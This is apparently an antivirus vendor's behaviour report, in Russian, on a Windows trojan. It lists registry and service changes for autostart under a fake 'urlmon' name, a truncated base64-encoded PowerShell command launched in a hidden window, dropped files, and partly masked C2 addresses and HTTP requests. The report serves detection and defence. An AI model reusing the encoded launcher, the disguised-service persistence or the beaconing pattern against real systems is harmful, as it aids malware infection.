Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\urlmon] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\urlmon] 'ImagePath' = '"%WINDIR%\SysWOW64\osbaseln\urlmon.exe"'
Создает следующие сервисы
- 'urlmon' "%WINDIR%\SysWOW64\osbaseln\urlmon.exe"
- 'urlmon' %WINDIR%\SysWOW64\osbaseln\urlmon.exe
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABHAEQAWgBBAFoAeABwAGgAPQAnAFAATABKAFMAUQBtAGIAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAHUAUgBpAHQAWQBQAGAAUgBvAHQAbwBjAGAATwBsACIAIAA9AC...
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\848.exe
Удаляет следующие файлы
- %WINDIR%\syswow64\osbaseln\urlmon.exe
Перемещает следующие файлы
- %HOMEPATH%\848.exe в %WINDIR%\syswow64\osbaseln\urlmon.exe
Сетевая активность
Подключается к
- '82.##.111.249':443
- '11#.#25.120.88':443
- '21#.#60.182.191':8080
- '18#.#.185.98':8080
- '18#.#94.58.119':80
- '21#.#81.91.224':80
- '21#.#2.13.25':80
- '19#.#.193.152':8080
TCP
Запросы HTTP GET
- http://sa####ng-group.com/J0Eubtq06/
Запросы HTTP POST
- http://18#.#94.58.119/73ox00/xkcV36Qek8/ce2TMPZoU6koIgcY9i/9y7F0L6ca/KkCAVe4Gds/
- http://19#.#.193.152:8080/vGObzk2nG1a/27KTp7AWPsWm8PkURu/aprJOWsCQAKGoqvK7/EbDAWS/TLiKXPrY5K/YLP6p/ via 19#.#.193.152
UDP
- DNS ASK sa####ng-group.com
Другое
Создает и запускает на исполнение
- '%HOMEPATH%\848.exe'
- '%WINDIR%\syswow64\osbaseln\urlmon.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABHAEQAWgBBAFoAeABwAGgAPQAnAFAATABKAFMAUQBtAGIAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAHUAUgBpAHQAWQBQAGAAUgBvAHQAbwBjAGAATwBsACIAIAA9AC...' (со скрытым окном)
